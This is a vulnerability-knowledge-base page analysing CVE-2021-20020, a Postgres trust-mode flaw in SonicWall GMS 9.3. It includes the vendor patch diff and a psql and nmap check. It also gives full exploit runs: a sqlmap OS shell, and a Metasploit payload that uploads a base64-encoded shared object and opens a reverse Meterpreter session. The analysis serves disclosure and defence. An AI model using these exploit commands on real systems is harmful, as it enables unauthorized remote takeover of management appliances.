Very High
CVE-2021-20020
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2021-20020
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
A command execution vulnerability in SonicWall GMS 9.3 allows a remote unauthenticated attacker to locally escalate privilege to root.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
CVE-2021-20020?
Seems to be Postgres running in trust mode on TCP port 5029, which essentially equates to unauthenticated access as the Postgres superuser. This can, of course, be leveraged to achieve RCE. Privilege escalation presumably follows.
Patch
diff --git a/com/sonicwall/appliance/util/DatabaseUpdate.java b/com/sonicwall/appliance/util/DatabaseUpdate.java index 191c850..1578952 100644 --- a/com/sonicwall/appliance/util/DatabaseUpdate.java +++ b/com/sonicwall/appliance/util/DatabaseUpdate.java @@ -378,6 +378,7 @@ public class DatabaseUpdate } else if (ibdbengine.equalsIgnoreCase("postgres") && !ApplianceUtil.isFlowAgentEnabled(applianceRole) && !ApplianceUtil.isFlowForwarder(applianceRole)) { + checkPostgresAccessMode(dbug); ApplianceUtil.setPostgresMemory(ramMB); SharedUtils.writeFile(dbug, " -> Set IB(postgres) memory completed.\n", doAppend); } @@ -1342,6 +1343,97 @@ public class DatabaseUpdate SharedUtils.writeFile(dbug, " -> Database update completed @ " + new Date() + ".\n", doAppend); } + private void checkPostgresAccessMode(File dbug) { + try { + String pgDataPath = SharedUtils.getPGDataDirectory(installDir); + SharedUtils.writeFile(dbug, " -> Report database PG directory : " + pgDataPath + ".\n", true); + File hbConfFile = new File(pgDataPath + File.separator + "pg_hba.conf"); + if (hbConfFile.exists()) { + boolean isOnTrustMode = false; + try (BufferedReader br = new BufferedReader(new FileReader(hbConfFile))) { + String line = null; + while ((line = br.readLine()) != null) { + if (line.trim().startsWith("host") && line.contains("trust")) { + isOnTrustMode = true; + break; + } + } + } + if (isOnTrustMode) { + SharedUtils.writeFile(dbug, " -> Postgres is on trust mode. It needs to be changed..\n", true); + + boolean startService = ApplianceUtil.modifyServices(new String[] { ApplianceUtil.REPORT_DATABASE_SERVICE }, ApplianceUtil.START_SERVICE); + if (startService) { + SharedUtils.writeFile(dbug, " -> Report database service has been STARTED : " + startService + ".\n", true); + Class.forName("org.postgresql.Driver").newInstance(); + String url = "jdbc:postgresql://127.0.0.1:5029/postgres"; + try(Connection conn = DriverManager.getConnection(url, "postgres", ""); + Statement stmt = conn.createStatement()) { + + + try { + String S_STRING = "2D2624C80F73C1B77C4A091581F3AD25"; + stmt.executeUpdate("ALTER USER postgres WITH PASSWORD '" + TEAV.decryptText(S_STRING) + "'"); + SharedUtils.writeFile(dbug, " -> Report database super user password set succesfully.\n", true); + } catch (Exception e) { + LogUtil.logError(e, "Error while setting super user password : " + e.getMessage(), "checkPostgresAccessMode", "DatabaseUpdate"); + SharedUtils.writeFile(dbug, " -> Error while setting super user password. Error : " + e.getMessage() + ".\n", true); + } + + } catch (SQLException sqe) { + + SharedUtils.writeFile(dbug, " -> EMPTY password failed, which means the root password was already set. Error : " + sqe.getMessage() + ".\n", true); + } + } + + boolean stopService = ApplianceUtil.modifyServices(new String[] { ApplianceUtil.REPORT_DATABASE_SERVICE }, ApplianceUtil.STOP_SERVICE); + SharedUtils.writeFile(dbug, " -> Report database service has been STOPPED : " + stopService + ".\n", true); + + File hbConfTrustFile = new File(pgDataPath + File.separator + "pg_hba_do_not_use_" + (System.currentTimeMillis() / 1000L) + ".conf"); + boolean rename = hbConfFile.renameTo(hbConfTrustFile); + if (!rename) { + rename = (hbConfTrustFile.delete() && hbConfFile.renameTo(hbConfTrustFile)); + } + SharedUtils.writeFile(dbug, " -> Rename existing hba conf file : " + rename + ".\n", true); + if (rename) { + try(BufferedReader br = new BufferedReader(new FileReader(hbConfTrustFile)); + BufferedWriter bw = new BufferedWriter(new FileWriter(hbConfFile))) { + String line = null; + while ((line = bufferedReader.readLine()) != null) { + if (line.trim().startsWith("host") || line.trim().startsWith("#host") || line.trim().startsWith("local") || line.trim().startsWith("#local")) { + bw.write(line.replaceAll("trust", "md5")); + } else { + bw.write(line); + } + bw.newLine(); + } + bw.flush(); + SharedUtils.writeFile(dbug, " -> Updated the mode of access to MD5 for all the hosts.\n", true); + } + if (SharedUtils.isLinux()) { + ApplianceProcessRunner proc = new ApplianceProcessRunner(); + proc.exec("chown -R postgres:postgres " + pgDataPath + File.separator + "pg_hba.conf"); + SharedUtils.writeFile(dbug, " -> updated hba conf file permissios.\n", true); + } + SharedUtils.writeFile(dbug, " -> Delete backup hba conf file : " + hbConfTrustFile.delete() + ".\n", true); + startService = ApplianceUtil.modifyServices(new String[] { ApplianceUtil.REPORT_DATABASE_SERVICE }, ApplianceUtil.START_SERVICE); + SharedUtils.writeFile(dbug, " -> Report database service has been STARTED : " + startService + ".\n", true); + } else { + SharedUtils.writeFile(dbug, " -> Rename of existing hba conf file failed..!!!!!!.\n", true); + } + } else { + SharedUtils.writeFile(dbug, " -> pg_hba.conf file has all md5. No changes required..\n", true); + } + } else { + SharedUtils.writeFile(dbug, " -> pg_hba.conf file does noit exist in PG Data Directory : " + pgDataPath + ".\n", true); + } + } catch (Exception e) { + SharedUtils.writeFile(dbug, " -> ERROR while checking trust mode in hba conf file. Error : " + e.getMessage() + ".\n", true); + LogUtil.logError(e, e.getMessage(), "checkPostgresAccessMode", "DatabaseUpdate"); + LogUtil.printStackTrace(e); + } + } +
PoC
wvu@kharak:~$ psql -U postgres -h 192.168.123.133 -p 5029 psql (13.2, server 9.2.2) Type "help" for help. postgres=# \du List of roles Role name | Attributes | Member of -----------+------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication | {} postgres=# \l List of databases Name | Owner | Encoding | Collate | Ctype | Access privileges -----------+----------+----------+-------------+-------------+----------------------- postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres (3 rows) postgres=#
Check
wvu@kharak:~$ nmap -Pn -n -v -p 5029 --script +pgsql-brute --script-args userdb=<(echo postgres),passdb=<(echo CVE-2021-20020) 192.168.123.133 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-29 17:13 CDT NSE: Loaded 1 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 17:13 Completed NSE at 17:13, 0.00s elapsed Initiating Connect Scan at 17:13 Scanning 192.168.123.133 [1 port] Discovered open port 5029/tcp on 192.168.123.133 Completed Connect Scan at 17:13, 0.00s elapsed (1 total ports) NSE: Script scanning 192.168.123.133. Initiating NSE at 17:13 Completed NSE at 17:13, 0.01s elapsed Nmap scan report for 192.168.123.133 Host is up (0.00073s latency). PORT STATE SERVICE 5029/tcp open infobright | pgsql-brute: |_ postgres => Trusted authentication NSE: Script Post-scanning. Initiating NSE at 17:13 Completed NSE at 17:13, 0.00s elapsed Read data files from: /usr/local/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds wvu@kharak:~$
Exploit
wvu@kharak:~$ sqlmap -d postgresql://postgres:CVE-2021-20020@192.168.123.133:5029/postgres --os-shell [snip] os-shell> id [19:13:28] [INFO] resumed: [[u'uid=104(postgres) gid=104(postgres) groups=104(postgres)']]... command standard output: 'uid=104(postgres) gid=104(postgres) groups=104(postgres)' os-shell> uname -a [19:13:29] [INFO] resumed: [[u'Linux gms.example.com 3.18.44-snwl-VMWare-x64 #1 SMP Tue Jan 5 20:04:11 PST 2021 x86_64 GNU/Linux']]... command standard output: 'Linux gms.example.com 3.18.44-snwl-VMWare-x64 #1 SMP Tue Jan 5 20:04:11 PST 2021 x86_64 GNU/Linux' os-shell>
msf6 exploit(linux/postgres/postgres_payload) > run [*] Started reverse TCP handler on 192.168.123.1:4444 [*] Trying postgres:CVE-2021-20020@192.168.123.133:5029/postgres [*] 192.168.123.133:5029 Postgres - querying with 'select version()' [*] 192.168.123.133:5029 - PostgreSQL 9.2.2 (IB_33928), shared on x86_64-unknown-linux-gnu, compiled by gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-44), 64-bit [*] 192.168.123.133:5029 Postgres - querying with 'select lo_creat(-1)' [*] 192.168.123.133:5029 Postgres - querying with 'delete from pg_largeobject where loid=16556' [*] 192.168.123.133:5029 Postgres - querying with 'insert into pg_largeobject (loid,pageno,data) values(16556, 0, decode('f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAAPAFAAAAAAAAAAAAAEAAOAAEAEAADgANAAYAAAAFAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA4AAAAAAAAADgAAAAAAAAAAAAAAAAAAAAAQAAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKBAAAAAAAAAoEAAAAAAAAABAAAAAAAAABAAAABgAAABAEAAAAAAAAEBQAAAAAAAAQFAAAAAAAAOABAAAAAAAA4AEAAAAAAAAAEAAAAAAAAAIAAAAGAAAAoAQAAAAAAACgFAAAAAAAAKAUAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAHAAAACQDAABkAAAAIAAAAEAAAAABAAAAAQAAAC90bXAvTGlvRG5tTFIuc28AAGxpYmMuc28uNgBtbWFwAG1lbWNweQBtcHJvdGVjdABfZXhpdABmb3JrAHVubGluawAAAgAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwBUAAAAAAAAHAAAAAQAAAAAAAAAAAAAAyBUAAAAAAAAHAAAAAgAAAAAAAAAAAAAA0BUAAAAAAAAHAAAAAwAAAAAAAAAAAAAA2BUAAAAAAAAHAAAABAAAAAAAAAAAAAAA4BUAAAAAAAAHAAAABQAAAAAAAAAAAAAA6BUAAAAAAAAHAAAABgAAAAAAAAAAAAAAoBUAAAAAAAAIAAAAAAAAABADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAFwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAIAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAJgAAABIAAAAAAAAAAAAAAAAAAAAAAAAAKwAAABIAAAAAAAAAAAAAAAAAAAAAAAAASIPsCEiNBRX+//9Ig8QIw1VIieVIg+wQScfBAAAAAEnHwAAAAABIx8EiAAAASMfCAwAAAEjHxgAQAABIx8cAAAAA6HUAAABIiUX4SMfCgwAAAEiNBbcQAABIicZIi3346GQAAABIx8IHAAAASMfGABAAAEiLffjoWgAAAEiFwHQMSMfHAQAAAOhWAAAA6F4AAABIhcB1A/9V+EiNBZv9//9IicfoVAAAAEiJ7F3DAAD/NfoRAAD/JfwRAAD/Jf4RAABqAOnn/////yX5EQAAagHp2v////8l9BEAAGoC6c3/////Je8RAABqA+nA/////yXqEQAAagTps/////8l5REAAGoF6ab///8AAAAAAABIMf9qCViZthBIidZNMclqIkFasgcPBUiFwHhRagpBWVBqKViZagJfagFeDwVIhcB4O0iXSLkCABFcwKh7AVFIieZqEFpqKlgPBVlIhcB5JUn/yXQYV2ojWGoAagVIiedIMfYPBVlZX0iFwHnHajxYagFfDwVean5aDwVIhcB47f/mAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAGQAAAAAAAACgFQAAAAAAABsAAAAAAAAACAAAAAAAAAAFAAAAAAAAAE0BAAAAAAAACgAAAAAAAAAyAAAAAAAAAAQAAAAAAAAAgAEAAAAAAAADAAAAAAAAAKgVAAAAAAAAFwAAAAAAAACwAQAAAAAAAAIAAAAAAAAAkAAAAAAAAAAUAAAAAAAAAAcAAAAAAAAACQAAAAAAAAAYAAAAAAAAAAcAAAAAAAAAQAIAAAAAAAAIAAAAAAAAABgAAAAAAAAABgAAAAAAAABYAgAAAAAAAAsAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAMAAAAAAACgFAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCAwAAAAAAAM8DAAAAAAAA3AMAAAAAAADpAwAAAAAAAPYDAAAAAAAAAwQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAAAEAAAACAAAAAAAAACABAAAAAAAAIAEAAAAAAAAtAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAABIAAAADAAAAAgAAAAAAAABNAQAAAAAAAE0BAAAAAAAAMgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAaAAAABQAAAAIAAAAAAAAAgAEAAAAAAACAAQAAAAAAACwAAAAAAAAABgAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAIAAAAAQAAAACAAAAAAAAALABAAAAAAAAsAEAAAAAAACQAAAAAAAAAAYAAAAAAAAAGAAAAAAAAAAYAAAAAAAAACoAAAAEAAAAAgAAAAAAAABAAgAAAAAAAEACAAAAAAAAGAAAAAAAAAAGAAAAAAAAABgAAAAAAAAAGAAAAAAAAAA0AAAACwAAAAIAAAAAAAAAWAIAAAAAAABYAgAAAAAAAKgAAAAAAAAAAgAAAAEAAAAEAAAAAAAAABgAAAAAAAAAPAAAAAEAAAAGAAAAAAAAAAADAAAAAAAAAAMAAAAAAACuAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAACUAAAABAAAABgAAAAAAAAA=', 'base64'))' [*] 192.168.123.133:5029 Postgres - querying with 'insert into pg_largeobject (loid,pageno,data) values(16556, 1, decode('sAMAAAAAAACwAwAAAAAAAFoAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAQgAAAAEAAAADAAAAAAAAABAUAAAAAAAAEAQAAAAAAACDAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAAEAAAAGAAAAAwAAAAAAAACgFAAAAAAAAKAEAAAAAAAAAAEAAAAAAAACAAAAAAAAABAAAAAAAAAAEAAAAAAAAABIAAAADgAAAAMAAAAAAAAAoBUAAAAAAACgBQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAVAAAAAEAAAADAAAAAAAAAKgVAAAAAAAAqAUAAAAAAABIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAF0AAAADAAAAAAAAAAAAAAAAAAAAAAAAAHAJAAAAAAAAZwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAALmR5bmFtaWMALnJvZGF0YQAuZHluc3RyAC5oYXNoAC5yZWxhLnBsdAAucmVsYS5keW4ALmR5bnN5bQAudGV4dAAuZGF0YQAuaW5pdF9hcnJheQAuZ290LnBsdAAuc2hzdHJ0YWIA', 'base64'))' [*] 192.168.123.133:5029 Postgres - querying with 'select lo_export(16556, '/tmp/LioDnmLR.so')' [*] Uploaded as /tmp/LioDnmLR.so, should be cleaned up automatically [*] 192.168.123.133:5029 Postgres - querying with 'create or replace function pg_temp.fyUNIYwYUo() returns void as '/tmp/LioDnmLR.so','fyUNIYwYUo' language c strict immutable' [*] 192.168.123.133:5029 Postgres - Disconnected [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3012548 bytes) to 192.168.123.133 [*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.133:50512) at 2021-04-30 14:17:03 -0500 meterpreter > getuid Server username: postgres @ gms.example.com (uid=104, gid=104, euid=104, egid=104) meterpreter > sysinfo Computer : gms.example.com OS : (Linux 3.18.44-snwl-VMWare-x64) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter >
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- sonicwall
Products
- global management system 9.3
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: